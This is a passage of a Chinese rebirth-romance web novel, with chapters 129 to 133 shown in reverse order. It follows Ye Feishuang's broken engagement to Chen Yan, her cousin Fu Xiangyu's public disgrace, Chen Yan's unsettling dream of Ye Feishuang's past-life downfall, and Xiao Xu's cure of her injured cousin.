靳氏和叶绯霜同时开口。 靳氏愣住,不敢相信自己听到了什么。反应过来后,她遽然转头,失声叫道:“霜儿!你知道你在说什么吗?” “陈夫人说得对,真也好假也罢,左右我都沾上了丑闻,对陈家的确不好。” 叶绯霜捂着嘴低下头,生怕再晚一点就要忍不住笑出声。 和能解除婚约比起来,一点点丑闻根本没多要紧。 靳氏以为女儿哭了,顿时心酸得厉害,哀求陈夫人:“夫人,我们霜儿也是遭了无妄之灾,她本来就受了天大的委屈,要是再退婚,她得多难受?我们霜儿真的是个好孩子,您以后就知道了……” 陈夫人身边的婆子却觉得靳氏真是死皮赖脸,这是要赖上他们陈家了? 这婆子自小就伺候陈夫人,跟着她来到陈家,又看着陈宴长大,自然护短的厉害。 在她眼中,他们宴哥儿可是顶顶好的郎君,仙女也是娶得的。 她本就对这门婚事不满意,后来陈夫人又说叶绯霜不好,她就更不满意了。 当下便忍不住道:“好姑娘?呵,郑五姑娘当众掌掴表姐,对表哥大打出手,竟还嚷嚷着要杀人,这般诳悖泼辣,目无礼法,会是什么好姑娘?怕是骨子里就坏了!咱们陈府可供不起这样的大佛!” 陈夫人没有制止婆子,显然她也是这么认为的。 厅堂瞬间安静了下来。 靳氏央求的话哽在了喉间,呼吸也变得急促了起来,又气怒又伤心。 她看了看陈夫人和婆子,又看向叶绯霜,眼泪瞬间如同开了闸的水,滚滚而落。 叶绯霜说不上靳氏望向自己的目光是什么意思,太深了,也太沉重了,娘亲从未这样看过自己。 叶绯霜想,她到底还是让娘亲失望了。 娘亲那么喜欢陈宴,觉得他哪儿都好,把他当儿子看待,她一直都盼着这门婚约早日实现。 她知道解除婚约会让娘亲难受,怕她接受不了,一直不敢和她说得太明确。 叶绯霜一时间,竟不敢看这个苦了半辈子的老实女人脸上的泪。 她想去抓靳氏的手,却被她一把甩开。 靳氏看着主位上的陈夫人,说:“好,那就退婚,我们不嫁了。只你们记好,你们说的诳悖泼辣,是因为霜儿要护着她爹和我。霜儿是天底下最好的女儿,是世上最好的姑娘,断没有你们说得那般不堪!” 叶绯霜仰起头:“娘亲……” 靳氏继续道:“旁人都说这桩婚约是我们高攀了,我和他爹是无能,但我从未觉得我的女儿配不上你家陈三郎,她谁都配得上!” 这是叶绯霜听过的,靳氏最大的声音。 这个窝囊了三十多年的女人,一直小心本分,从来不争什么抢什么,步步忍让。 现在却直着脖子站在她女儿面前,想要为她挡去詈言和恶意。 陈夫人显然也知道靳氏平日里是个什么样的人,一时间也被她这样的强势震住了。 倒是那婆子道:“这可是你们自己说的,退婚!你们别想反悔!” “不会反悔。退婚书等霜儿父亲写完后,自会送来陈府。”靳氏说,“我也决不会让我女儿嫁入一个看不起她的人家,受人欺负。” 靳氏说罢,拉住叶绯霜的手:“我们回去。” 叶绯霜红着眼眶点头。 靳氏拉着女儿昂首挺胸地离开了陈府。 今天天气很好,日光大盛,洒在靳氏鬓边的白发上,刺得叶绯霜眼睛生疼。 回了客栈,叶绯霜趴在靳氏膝头,眼泪打湿了她的衣摆。 靳氏温柔地摸着她的发:“难受就哭吧。” “女儿一点都不难受,女儿高兴。”叶绯霜抬脸看着她,“有娘可真好。” 她不再是人人践踏的野草了,她是娘亲的宝贝。 靳氏刚才提着一口气和陈夫人对峙,现在缓了一会儿,气散了,忍不住唉声叹气。 “陈夫人和她身边的人看不起咱们,但是三郎没有。”靳氏很遗憾地说,“三郎实在很好。” “那可未必。陈三郎只是情绪不外露而已,他心里看不起谁并不会让对方知道,他会装得很。” 靳氏默了片刻,才问:“霜儿,你是不是不喜欢三郎?” “不喜欢。”叶绯霜说,“我可斗不过他,我也不想把我大好的时间用来和他斗,我只想离他远远的。” “说什么呢?”靳氏听得迷糊,“你和他斗什么?你们又不是仇人。” “就是他心眼太多了,和他在一起会好累的。” 这话靳氏倒是没法反驳。 “那就不和他在一起。”靳氏温柔地说,“一辈子很短,霜儿要活得顺心遂意。” 叶绯霜用力抱住靳氏,呜咽了一声:“娘亲真好。” 陈宴在客院等了一天,没有等到叶绯霜。 她说今天会来看郑茜静的,然而没来。 晚上,他被陈夫人叫去主院一起用膳。 陈宴这些日子一直没什么胃口,不管吃什么都吃得很少。 陈夫人放下筷子,优雅地擦了擦嘴,说:“今天我见了郑氏四房母女。” 陈宴抬眼,静默地看着母亲。 “他们同意退婚了。” “我不同意。” “不需要你同意。”陈夫人掀起眼帘,声音清雅又郑重,“当初订下婚约的时候不需要你同意,退婚自然也不需要。父母之命,你遵从便是。” 第133章 别做梦了 陈宴走过来,故意打破了叶绯霜和萧序构建起来的宁静氛围。 “郑二姑娘怎么样了?”陈宴问叶绯霜。 “刚才醒过来了,虽说没有了生命危险,但恐怕还要借你府上养几日,等能动弹了才能搬离。” “无妨。”陈宴说,“郑二姑娘尽可安心住下,时间多久都不成问题。” “不会太久的。成国公府收到信后会派人来接二姐姐回京。” 叶绯霜说着,又问:“那位救了二姐姐的谢二公子在哪里?我该向他道谢。” “他说顺手的事,不必在意。” 叶绯霜说:“这对郑家、对成国公府都是天大的恩情,最起码应该面谢。” “等国公府的人来了,我让谢二和他们见面。” 叶绯霜点头:“也好。” 萧序不想听叶绯霜和陈宴说话,立刻道:“阿姐,二姐姐已经没事了,我们也赶紧走吧。” 陈宴听着这声“二姐姐”十分刺耳,即便跟着叶绯霜来喊,也该是他陈宴,什么时候轮得到外人了? “五姑娘最好还是留在陈府,可以时时探望郑二姑娘。” 萧序瞥了陈宴一眼,冷嗤,你想得倒是美。 他说:“阿姐,二姐姐最早也得明天才能醒来,明天我再陪你过来。” “逸真大师弟子”这个身份很让人信服,叶绯霜相信萧序的判断。 “那我明天再来。” 她得回客栈去了,毕竟昨晚发生的事她还得和郑丰交代一下。 叶绯霜不在陈府呆,陈宴也拦不住她。 心里不爽得很。 “她不是你阿姐,别做梦了。”陈宴的声音很冷。 “你知道什么?”萧序翻了个白眼,冷笑,“你才别做梦了,你娶不到我阿姐的。” 锦风觉得自家公子把萧序放走,是个天大的错误。 在他看来,这个屡次三番对他家公子下手的人就是个祸害,应该尽早除去才对。 放虎归山,后患无穷。 他把自己的想法和陈宴说了,陈宴却道:“他既敢来,就必有后手,不怕我们留他。” 锦风恨声道:“咱们陈府这么多人,还会留不住一个他?” 陈宴摇头,说:“去查一查他是不是兰陵萧氏的人。” 锦风领了命,又道:“公子,郑五姑娘和他关系匪浅,他二人说不定早就勾结在一起了。就他第一次对您动手那晚,肯定就是郑五姑娘掩护的他!” 陈宴也想起了那次,神情愈发的冷了。 锦风继续道:“简直就是狼狈为奸!郑五姑娘是您的未婚妻,竟胳膊肘往外拐,帮着旁人来害您!依我看,他二人肯定还有其它不为人知的关系!公子,要属下说,这未婚妻您趁早别要了,省得糟心。” 这话隐含的意思不好听,陈宴蹙了蹙眉:“她外祖父靳老先生于我祖父有重恩,所以祖父才许下了这门婚。” “那郑五姑娘也不能仗着老一辈的恩情,就对您……她对您一点都不好,您还一直容忍她。” 陈宴看向锦风:“那你觉得我一直容忍你,是因为什么呢?” 锦风一愣,反应过来后,面色逐渐泛白。 锦风的祖母是陈老太太的陪房,嫁了陈府的大管家,后来一家子被放了奴籍,锦风的叔父还靠着陈家谋了个县令的官职。 锦风的父亲想让儿子有出息,所以让他跟着陈家最优秀的三公子。 陈晏对锦风一直很宽容,与其说拿他当随从,不如说拿他当个弟弟。 锦风也觉得自己和陈府其它奴才不一样,一直都有优越感,偶尔会说些出格的话。 陈宴刚刚的话是在提点锦风,自己一直容忍着他,无非也是看着老一辈的交情。 锦风有些尴尬,又有些委屈:“公子,我是为您着想。我就是觉得郑五姑娘不够好,她还不检点,配不上您。她和那个男人暧昧不清,说不定她早就不干不净了!” 他就不懂了,公子到底是被迷了什么心窍,为何还要理会那郑五姑娘,趁早踹开不好吗? 难道这就是男人本性?得不到的就念着? “前年在船上见她,是第一次。今天,是第二次。没有第三次。”陈宴的语调很淡,却将锦风砸出了一身的冷汗,“我若再听你辱她,你就不必继续跟着我了。” 锦风的眼眶倏然红了,他是为了公子好啊,想让他找一个好姑娘当妻子,公子为何就不明白呢? “让人去清除城中流言。昨晚失踪的人、今天花楼外的人,都是傅湘语,与郑五姑娘无关。” 陈宴低声应是,垂头离开了客院。 陈宴盯着他的背影看了良久。 片刻,轻叹了口气,唤道:“青岳。” 一个圆脸大眼的少年立刻蹿到陈宴身边:“公子,怎么啦?” 陈宴和他说了几句话。 青岳点头:“属下明白。” 陈宴又看向他吊着的胳膊,那是今早受的伤:“好好养着。” 青岳一笑,颊边有两个小酒窝:“小伤而已,不劳公子担心。” 另外一边,叶绯霜回了客栈,郑丰果然已经在了。 “哎呦,我的好侄女,到底发生啥事了?”郑丰刚才出了一趟门,听见不少流言,把他吓了一大跳,“我听说你昨晚和人在花楼里?” “不是我,是傅湘语。”叶绯霜道,“五叔给家里传个信吧,傅姑娘昨晚和晟王七公子在一起,闹出了好大的阵仗。得问问家里,傅姑娘的婚事怎么说。” 郑丰瞪大眼:“晟王七公子?语娘怎么会和他扯到一块儿呢?” 叶绯霜笑道:“我也不清楚呢五叔。” 郑丰啧啧嘴,暗叹这傅湘语也真是个人物,胆子可真大。 郑丰一边写信一边说:“七公子已经娶妻了,语娘就算跟了七公子,也是当妾的命。” 叶绯霜何尝不知道?而且外边都传,这位七公子宁浔的妻子,可厉害着呢,彪悍还善妒。 还说她以打压宁浔的妾室为乐,很多妾室都被她以各种各样的方式迫害了,惨得很。 傅湘语不是自诩聪明吗?不是很喜欢耍小手段吗?那就和这位厉害的七夫人过招去吧。 郑丰写完信,又迫不及待地出门找乐子去了。 第二天,叶绯霜正准备去看望郑茜静,陈家却派人来接了。 具体说,是陈夫人派的人。 “郑四夫人,郑五姑娘。”婆子朝二人一礼,“我们夫人请二位过府一叙。” 第132章 有危机感 其实梦境再荒唐也不要紧,陈宴就怕,那不是梦,而是事实。 莫非,这也是前世之事? 假如真的是。 那么梦中那个人说“傅姑娘亲眼看见你和人私会”,意思就是前世的傅湘语构陷了叶绯霜与人私通? 必然是了,叶绯霜不会做出这种事的,一定是被人陷害的。 陈宴从贵妃榻下来,走进里间,叶绯霜还没醒。 她换了个姿势,面朝外睡着。 陈宴蹲在床边,仔细打量她。 她很瘦,不是枯瘦,而是精干的瘦,因为常年习武体态特别好,一看就很有精神气。 脸颊有肉,面色红润,红唇丰盈饱满,是种气色很好的健康。 和梦里那个骨瘦如柴、下巴几乎能把人戳穿的姑娘简直是天壤之别。 陈宴又想,梦见的未必都是真的吧?会不会有一些偏差? 她这么聪明能干,不会过得那么惨的。 退一步讲,有他在,也不会让她过得那么惨。 陈宴还是比较相信自己的,这个年纪的他,虽然干不了什么经世治国的大事,但是保护好自己的未婚妻,还是绰绰有余的。 想必是他的梦境为了契合“被人诬陷”这一悲惨的境遇,将梦中的人也构画得更惨了一点。 而且,如果前世真的发生过这种事,她不会那么孤立无援的。 最起码,他会相信她。 对,他不会听风就是雨,他一定会相信她的。 虽然没有梦到那件事最终是怎么解决的,但是有他在,想必会有一个妥善解决的办法,起码不会冤枉她。 这么一想,陈宴宽慰不少。 叶绯霜的几根发丝落在脸侧,有点痒,她抬手抓了抓,没有抹掉。 陈宴想给她轻轻拨去,忽听院中传来一阵吵嚷声。 叶绯霜被吵醒了,弗一睁眼,就对上了陈宴近在咫尺的脸。 差点以为自己回到了前世。毕竟前世睡醒一睁眼,就总是看见陈宴。 叶绯霜缓慢地眨了眨眼,反应过来自己这是在哪里。 “外边怎么了?”她问。 “我还不知。” 叶绯霜一个鲤鱼打挺坐了起来:“难道二姐姐……” 话没说完,人已经奔了出去。 一推开门,就看见了院中的人。 玄衣劲装,金线勾勒的衣摆在晨风中光华流转,窄腰长腿,身姿挺拔如崖畔青竹,彰显出一种既矜贵又锐利难当的少年风华。 是萧序。 他竟然来了陈府。 怎么着,追杀到陈府来了?疯了? 锦风强势拦在他面前,还出了剑。 萧序就和看不见抵着自己心口的那把剑似的,懒洋洋地道:“好狗不挡路,没听过?” “你还敢来陈府?”锦风咬牙切齿,“找死!” 萧序听见叶绯霜叫自己,立刻转头,扬唇一笑,风华万千:“阿姐!” 叶绯霜听见院中有小丫鬟因为他这一笑,发出了暗暗吸气声。 叶绯霜跑到她身边:“你怎么来了?” “我是为了二姐姐来的。”萧序一改和锦风说话时的漫不经心,又轻又软地说,“我能救二姐姐。” 叶绯霜惊了:“你?” 萧序眨眨眼,浓长的睫毛蝶羽似的:“对呀,我。” 是了,叶绯霜想起来了,他可是逸真大师的弟子。 逸真大师不光佛法精妙,还医术高超。 叶绯霜忙道:“那赶快!” 锦风还是拦着。 “敢对我家公子动手,我必须杀了他!” 叶绯霜蹙眉:“他是为我二姐姐来的,我不会让你动他。” 锦风语气不善:“你拦得住我?” “他今日还放了你家公子。若非如此,你现在怕是正给他收尸呢。” 锦风早上回来搬救兵了,并不知道山谷内发生的事,他还以为陈宴和叶绯霜能回来,是把敌人给打跑了。 听叶绯霜这么说,锦风面色瞬间更差了,怒道:“你竟敢这么说我家公子!” 眼看锦风就要忍不住动手了,陈宴喝止了他:“退下,让他们进去。” “公子,这等贼人,我们就该当场诛杀!” “郑二姑娘要紧,让路。” 见陈宴态度强硬,锦风无奈,只得不情不愿地让开。 萧序轻蔑一笑:“这才对嘛,好狗就得听话。” 叶绯霜立刻拽着他进了郑茜静的房间。 萧序也不号脉,一会儿掰开郑茜静的眼睛看看,一会儿掰开她的嘴看看,又捏捏她的胳膊动动她的腿,看着不怎么专业的样子。 叶绯霜都有些怀疑了:“你真的行吗?” 萧序撇了撇嘴巴,伤心地说:“阿姐,你又不信任我。” 叶绯霜:“……” 你这样子实在很像坑蒙拐骗的庸医。 萧序拿出一把瓷瓶,从中挑了一个,倒出几颗药丸,递给叶绯霜:“阿姐,喂二姐姐吃。” 叶绯霜也没问这是什么,毕竟对方说了她也未必能听懂。 而且,她冥冥中对萧序有种说不出的信任,不光因为他是逸真大师的弟子。 给郑茜静喂了药,等了约莫一刻钟,她真的醒了。 一开始诊治的几名大夫觉得神了,纷纷过来问:“这位公子,敢问您刚给姑娘吃的是什么?” 萧序:“无可奉告。” 大夫们顿时不多问了。 许多药铺都有自己的独门秘方,甚至一些医药世家就是靠某种秘方发家、传世的,怎么可能外传? 只是不知道这位小公子是哪家的传人。 郑茜静是真的惨,惊吓引发了旧疾,肋骨还断了好几根,内伤外伤加起来,她没一命呜呼就是命大了。 所以只是清醒了那么一会儿,郑茜静就又昏睡过去了。 不过萧序说,已经没有生命危险了。 叶绯霜顿时放心了。 她真诚地对萧序说:“太谢谢你了。” “小事而已。而且,阿姐,我为你做什么都是应该的,你不用谢我。” 叶绯霜很不好意思。 毕竟,她又不是真的是他阿姐,今天还阻拦了他报仇。 萧序越是这个样子,叶绯霜越受之有愧。 同时忍不住唏嘘,他和他阿姐的感情该有多好,他阿姐死的时候,他又该多难过。 看着这个一看自己就笑的少年,叶绯霜心里也萌生出一种说不出的难过。 她甚至想,如果自己真的是他阿姐就好了。 否则,等他哪天清醒过来,彻底意识到他的阿姐已经死了,而自己不过是个赝品,他又要把那种抽筋蚀骨般失去至亲的痛苦经历一遍了。 浮生若梦并不可怕,怕的是梦醒那天。 就像前世的她,若是私通之事的真相没有暴露,她也能一直暗示自己,陈宴是爱她的,说不定也能稀里糊涂地过完一辈子,而不是年纪轻轻就心力交瘁地死掉。 陈宴一进来,看见的就是他二人相对而坐的一幕。 那个叫萧序的少年,看着叶绯霜的目光,眷恋又痴迷,好似浮世万千,他眼中只有这一个人。 还真是个神志不清的疯子。 陈宴很不爽。 感觉一件属于自己的珍宝被旁人觊觎了。 除此之外,还有一种隐隐的危机感。 第131章 荒唐一梦 叶绯霜的哭声太悲怆了,好似含了无穷无尽的委屈和血泪。 旁边有些心软的,也跟着酸了鼻子,红了眼眶。 转而就开始对傅家兄妹更凶的谩骂,恨不得把他们吊到城楼上,让全天下的人都看看他们这副丑恶的嘴脸。 昨晚经历了那样的事,本就让傅湘语受到了天大的打击,神智几欲崩溃。 而现在心上人鄙夷的目光,无疑成为了压垮她的最后一根稻草。 她从地上爬起来,嘶吼着大喊:“叶绯霜,你凭什么哭?你有什么脸哭!本该遭受这一些的是你,我是替你受过!那个人找的是郑五姑娘,错把我认成了你!该哭的是我!你欠我的!” 有人摇摇头,嘟囔道:“事到如今,还在往人家身上泼脏水。” “我说是实话!我本来就是无辜的!”傅湘语妍态尽失,只一味地怒吼,“该遭受这一切的是她!你们该骂的是她!” 然而有她冒认身份的行径在先,无论她现在说什么,都没人再信了。 “我是无辜的,我是被人强迫的,我没有和人私通!”傅湘语流着泪看向陈宴,“陈宴,我喜欢你啊!我喜欢的只有你,我怎么会和人私通呢?你要信我,你要帮我做主、还我清白啊!” 事到如今,什么矜持、什么体面、什么规矩,她统统都不顾了。 傅湘语只觉得自己坠入了无间地狱中,她这一辈子都毁了。 只有陈宴能拉她一把,能把她救出来。 可是陈宴并不会听她解释。 “锦风,傅姑娘神志不清了,带她回去看大夫。” 锦风带着几个人,抓走了傅湘语,并且捂住了她的嘴。 傅湘语一双通红的眼睛望着陈宴,那双眼中有爱慕、挣扎、不甘、绝望种种情绪,似乎要爆裂开来。 傅闻达立刻跟上,却被陈宴叫住了。 陈宴眸光平静,言辞却犀利:“你背仁义之正途,苟危人以自安,实在品性不端。等你什么时候明白何为孝友温淑,非礼不蹈,何为操清冰霜,不护小失,你再去会试吧。” 这话,犹如几记耳光,扇掉了傅闻达文人的体面和操行,如同说他白读了十几年圣贤书。 听陈宴的意思,竟是要断了自己的官路,不让自己去会试了。 傅闻达知道陈宴能做到。都不必动用陈家在朝中盘根错节的关系,只要把今日之事去信给礼部、翰林院的几个老古板看,他就能被剥夺会试的资格。 但傅闻达还是不甘心:“我想护着我妹妹有什么错!” 陈宴淡声道:“五姑娘也是你妹妹。况且,这是你们兄妹第一次欺负她么?” 他不再多言,等着叶绯霜擦脸、上马,一起打马离去。 傅闻达僵立原地,正月的风砭肤刺骨,让他如坠冰窟。 叶绯霜到了陈府,第一时间去看郑茜静。 郑茜静在客院里,府医和颍川的名医正在为她诊治,院中有许多婆子、丫鬟待命。 郑茜静脸色白中泛青,嘴唇发紫,看着着实让人心惊。 大夫们也都是一脸凝重,没人保证郑茜静到底能不能醒,什么时候会醒。 月影说,已经给京中去信了,希望一直给郑茜静看诊的御医能尽快赶到。 “你也去休息一下吧。”陈宴对叶绯霜说,“这里有大夫们守着就好。” 月影不知道叶绯霜已经两夜没阖眼了,只当她昨晚没睡,也劝道:“五姑娘,您赶紧去歇一歇吧,要是我们姑娘醒了,我去叫您。” 叶绯霜不懂医术,知道自己干守在这里也没用。 她叮嘱月影:“我就在隔壁找间房睡一会儿,二姐姐要是醒了,第一时间叫我啊。” “好。” 叶绯霜跟着丫鬟去了东厢房。 经过一晚的奔波、一早的缠斗,叶绯霜确实有些累了。哪怕再记挂郑茜静,也没抵过困意。 不过她睡得不太安稳。 朦朦胧胧地听见有人说话,但是听不清,也睁不开眼。 其实是陈宴从陈文益那里回来了。 他前年在庇阳山救了璐王父子的事情陈文益早就知道了,所以陈宴只说今天遇到的刺客,和那群人是同一波。 他没说萧序的事。 总感觉那个少年要为他阿姐报仇而对自己痛下杀手这件事,有诸多疑点。他自己还没弄明白,就不多言了,省得让祖父平白担心。 陈宴走之前让丫鬟煎一碗药,回来的时候药刚刚煎好。 他喝完药,丫鬟以为他会回客居,不料他也歇在了东厢房。 进里间看了叶绯霜一眼,她合衣侧躺在床上,面朝里,睡觉时很安静,呼吸很轻。 陈宴走到外间的贵妃榻边,躺下。 不知道是药的作用,还是身体太累,陈宴这一觉睡得很沉。 他又做了个梦。 梦里,也是冬天,还飘着雪。 陈宴走在一条热闹的长街上。 前方有许多人,好像有喜事,因为他脚边飘过一张红纸,他捡起来一看,是一张喜字。 不知道这张喜字是从哪里掉下来的,又从哪里吹来,被多少人踩过,已经脏污不堪。 他惯来不喜欢凑热闹,从人群中淡然走过。 却听见耳边传来谩骂声:“婚前私通这种丑事都干得出来,真是不要脸!” “要不说呢,这乡下长大的姑娘,教养就是不行。” “我们府上的脸都被你丢尽了!” 接着,陈宴听见一个弱弱的辩解声:“我没有,我真的没有……” 他脚步一顿,觉得这个声音很耳熟。 “我呸,都这时候了还不承认?傅姑娘亲眼看见你和人私会,你那情夫也交代干净了!看看这些,男人的衣裳、靴子,啧啧,腰带呢!不都是你藏的?” “不是,这是别人放在我房间里的……” “滚滚滚,赶紧滚,别脏了我们的地界!以后莫说你姓郑,我们郑府可没有你这样的姑娘!” “幸好是大婚之前发现的。否则,咱们家怕是要和陈府交恶了!” 人群散去,终于露出了那个被他们围在中间辱骂的姑娘。 她的外裳被人扒了,只穿着单薄的里衣。头发被人拆了,散落着,还沾着枯草。 薄薄的布料被寒风吹着,紧贴在她身上,显现瘦骨嶙峋的身形。 她爬起来,去拍门,哭着喊冤,哀求着说:“让我进去吧,别赶我走。我没有地方可以去了,我没有家了。” 一个小厮把门打开一条缝,一脚把她踹开。 她从石阶上滚下来,更脏了。 她已经被扫地出门了。 她跪在地上,脏兮兮的手攥着一张红纸,哀声痛哭。 她不停地说冤枉,但是没人听到,也没人会信。 陈宴停在她面前,怎么都迈不动步子了。 她哭得太惨,让他的心也跟着酸涩起来。 他蹲在她面前,叫了她一声:“姑娘。” 她抬起头来。 四目相对,陈宴陡然僵住,不可置信地瞪大了眼。 像是被迎头一击,陈宴猛然惊醒。 门外的丫鬟听到动静,立刻进来,轻声问:“公子,怎么了?” 陈宴坐在贵妃榻上,额头浮了一层冷汗。 梦里的场景,和今日遇到的,何其相似。 不,比今日的还要惨。 而且,梦里那个被责难的人…… 竟然是叶绯霜。 怎么会有这么荒唐的梦? 第130章 好报应 傅湘语坐在地上,捂着脸哭个不停。 她早就想跑掉了,但是有几个不怀好意的男人围城一圈堵着她,她根本挤不出去。 她只得虚张声势地哭喊,威胁着说要是他们再不让开,自己回头就找人杀了他们。 反正她现在是郑五姑娘,她什么话都敢说。 那些人非但没有被吓到,还偷偷对她动手动脚。 这些世家贵女,素来高不可攀,上街时幂篱垂地,整个人挡得严严实实,他们看都看不见。 现在有机会能摸上一把,那简直是天大的便宜,回去能吹半个月。 一个人拨开人群,冲到傅湘语身边,抱住她:“五妹妹!” 傅湘语听出了亲哥的声音,扑到傅闻达怀里,嚎啕大哭:“表哥!” 傅闻达一晚上没见着傅湘语,着急得不行,正带了人偷偷找呢。 找着找着,就听见街上有人议论郑五姑娘的事。 他还以为是福泰那群人吃了熊心豹子胆干的,偷偷凑过来想看个究竟。 谁曾想,那衣衫凌乱、受过凌辱的竟是自己的亲妹妹。 傅闻达脱下外袍披在傅湘语身上,将她严严实实地罩住,扶着她站起来。 “让开!”他冷声呵斥。 围观群众让开一道小口子,傅闻达搂着傅湘语疾步离开。 有人不怀好意地说:“难道表哥要接盘了?” “都这样了,和咱们陈三公子的婚约肯定作废了,谁还敢娶呦。表哥这么着急,明显是心疼了嘛。” “说不定情夫就是他呢……” 周围人哄笑起来,傅闻达被这不堪入耳的话激得面红耳赤:“你们……” 那些人说得越来越不堪入耳。 傅湘语的眼泪啪嗒啪嗒地掉个不停,傅闻达也气得浑身发抖。 但他知道现在不是争辩的时候,这是群粗人,和他们解释,只会越描越黑。 当务之急,是赶紧把妹妹带回去。 傅闻达埋头疾走,却忽然被一匹马挡住了去路。 他往哪边躲,马就往哪边堵,死死拦着他。 傅闻达愠怒抬脸,看清马上的人时,顿时面色煞白,瞳孔巨震。 “你……” 叶绯霜居高临下地看着他:“表哥,好巧啊。” 傅湘语听见叶绯霜的声音,也瞬间僵住了。 下一刻,她就惊叫出声,因为她头上的衣服被叶绯霜用枪尖挑走了。 “我当是谁,在外边冒用我的名声行苟且之事。”叶绯霜笑道,“原来是表姐你啊。” 没了遮挡,傅湘语慌忙往傅闻达怀里钻,想要挡住脸,却不料被长枪敲在背上,痛得栽倒在地。 叶绯霜下马,走到她面前。 围观百姓们本来以为好戏散场了,不料又来了这么一出,于是立刻又围了上来,人比刚才还要多。 “难道她不是郑五姑娘?” “似乎骑马这个才是郑五姑娘,地上那个是她表姐。” “到底哪个是?” “肯定后来的这个是啊,没看见人家和三公子一块儿来的?” 陈宴这张脸,颍川城许多百姓自然都认识。 能和他并驾齐驱的女子,除了他的未婚妻,他们想不到别人了。 傅湘语满脸惊慌,嘴唇巨颤:“你……我……” 她本以为可以金蝉脱壳,怎么叶绯霜会突然出现? 她不是被福泰他们抓走了吗? 叶绯霜冷冷地扯了扯唇角:“表姐,昨晚你突然不见了,我还以为你被歹徒劫走了,找了你一晚上。原来,你是偷着和男人鬼混来了?” 傅湘语失声反驳:“我没有!” “昨晚失踪的明明是你,你哥哥着人去官府报官的时候,竟然还报的是我的名字!让城里人都以为是我不见了!” 叶绯霜的眼眶忽然就红了,蓄满了泪水。 她痛心疾首地看着傅闻达:“表哥,傅姐姐的名声是名声,我的名声就不是了吗?你只顾着护着亲妹妹,表妹就能推出去顶锅了吗?” 傅闻达脸色巨变,怒道:“叶绯霜,你不要血口喷人,我什么时候让你顶锅了?” “你和傅姐姐刚才说的话我都听到了!傅姐姐丑事败露,你们却说是我做的!你们……你们简直狼心狗肺!” 叶绯霜宛如受了天大的委屈,眼泪大颗大颗地掉,哭着控诉:“虽然你们姓傅,但你们常年借住在郑家,我一直把你们当亲哥哥亲姐姐看待,可你们竟然这么自私!想保全自己的名节,就要败坏我的名节,我真是看错你们了!” 叶绯霜抱着爱美的脖子,大声哭了起来。 话,她说完了,其它的自有围观百姓替她分辩。 “就是啊,刚才这女人一直自称是郑五姑娘,这男的来了也叫她五姑娘,合着是亲兄妹装蒜,诬陷人家清清白白的姑娘呢?” “呸,真不要脸!自己干这烂裤裆的事,还栽到旁人头上!” “郑五姑娘还找了她这表姐一晚上呢,这对兄妹倒好,背后给人捅刀子!” “要不是老天开眼,让郑五姑娘回来撞上了,这以后可怎么说得清?” 现在的攻讦辱骂比方才更甚,傅湘语觉得自己好似被剥光了衣服、扒掉了皮,暴晒于日光之下。 她六神无主,百口莫辩。 下意识看向陈宴——这个她真心喜欢、无比在乎的人。 他坐在骏马之上,那样的高高在上,垂眸睨着她,眸光淡漠又波澜不惊,可是傅湘语却从中看出了明显的讥讽和鄙夷。 其实陈宴只看了她一眼。 这样卑劣的人,他不屑于多看。 他从马上下来,走到叶绯霜身边,轻轻拍了拍她的背:“不要哭了。我会让人肃清流言,不会让他们乱传你。” 叶绯霜本来是装哭的,后来就是真情实感地在流泪。 爱美似乎也感知到了主人的情绪,一动不动,乖顺地任由自己的鬃毛被泪水打湿。 叶绯霜想,真是天道好轮回。 前世,傅湘语构陷她“与人私通”,于是这一世,傅湘语也毁在了这条“与人私通”上。 前世,她说自己是被诬陷的,任凭她怎么解释,都没人相信。 这一世,轮到傅湘语来遭受这一切,来尝她吃过的苦、受过的罪。 来体会这种委屈、冤枉、叫天天不应叫地地不灵的感觉。 因果不虚,报应不爽,真好啊。 第129章 装可怜 陈宴骤然抬头望向他,微眯的眼中寒光凛冽。 他启唇:“你休想。” 纵然狼狈,纵然病弱,但气势不减。 萧序的杀意又起来了。 “我不能跟你走,我得回去看我二姐姐。”叶绯霜说,“她出了意外,我很担心她。” 即便没有郑茜静,她也不会和萧序走。 他记忆错乱把自己认成他阿姐,但她脑子是正常的,知道自己不是。 “那我陪你一起去看二姐姐,二姐姐在哪里?” 叶绯霜被他这顺溜的“二姐姐”震惊了,沉默片刻才说:“在陈府。” 萧序:“……” 他用力咬了下牙,颊边肌肉瞬间绷紧,看似恨不得将陈宴啖肉食骨。 叶绯霜转头问陈宴:“还能走吗?” 自然是能的。 陈宴挑眼瞟了一眼萧序,而后看向叶绯霜,说:“不能。” 萧序被他那挑衅的一眼勾得火气和恨意猝然迸发,又拎起刀来:“姓陈的你装孙子给谁看呢?” 陈宴没搭理他,单手捂着心口,虚弱地对叶绯霜说:“劳烦五姑娘,扶我一把。” 萧序的刀横过来,挡在了陈宴和叶绯霜中间。 “你还配我阿姐扶?别脏了她的手。”萧序冷笑道,“我来。” 叶绯霜激灵了一下,拦住萧序:“别!” 她真不能让陈晏在今天出事。 陈家人都知道他带着人出来找她了,要是她好好的回去了,陈晏反而死外边了,她以后还有好日子过吗?陈家人不得宰了她? “我说了我今天放过他,我说到做到,不会暗算他。” 叶绯霜和萧序实在不熟,没法相信他。 果然,萧序又受伤了:“阿姐,你不信我?” 叶绯霜朝他讪笑一下:“我先走了,你也赶紧走吧,不然一会儿陈家来人了,会很麻烦。” 萧序带来的人着实厉害,陈家的人也不差,要是打起来又是尸横遍野,太惨烈了。 叶绯霜离开山谷前,回头望了一眼,萧序还站在原地,也正看着她。 朝阳升起,霞光铺满天际,灿烂的橙红色光芒落在少年眼中,亮得惊人。 和她对上视线,他瞬间就笑了起来,十分好看。 没有丝毫报仇被阻拦的怨怼,也没有仇人被她带走的不满。 只有开心与满足,仿佛她回头望他一眼,他就得到了最好的奖赏。 叶绯霜的身影逐渐消失,萧序脸上的笑容也随之隐去。 他有一张十分漂亮的脸,但不是男生女相。他不笑的时候,眉宇间戾气横生,眸光森然,又傲又冷,没有半分暖意。 他喃喃自语:“阿姐不知道,我不怪她,我会保护好她的。” 一名随从问:“公子,我们回去么?” 萧序依然望着叶绯霜离开的方向,问:“那件事办了么?” “办了,成国公已经给荥阳郑府回信了。等院子建好,您就可以住进去了。” 萧序满意,懒懒吐出一个“好”字。 随从立刻顺杆往上爬:“等住进郑府,您就可以近水楼台先得月了,最终一定可以抱得美人归。” “本来就是我近。”萧序磨了磨牙,愤愤说,“是我先遇到阿姐的。” 随从不懂,只一味地附和。 附和完了才问:“那咱们是回……” 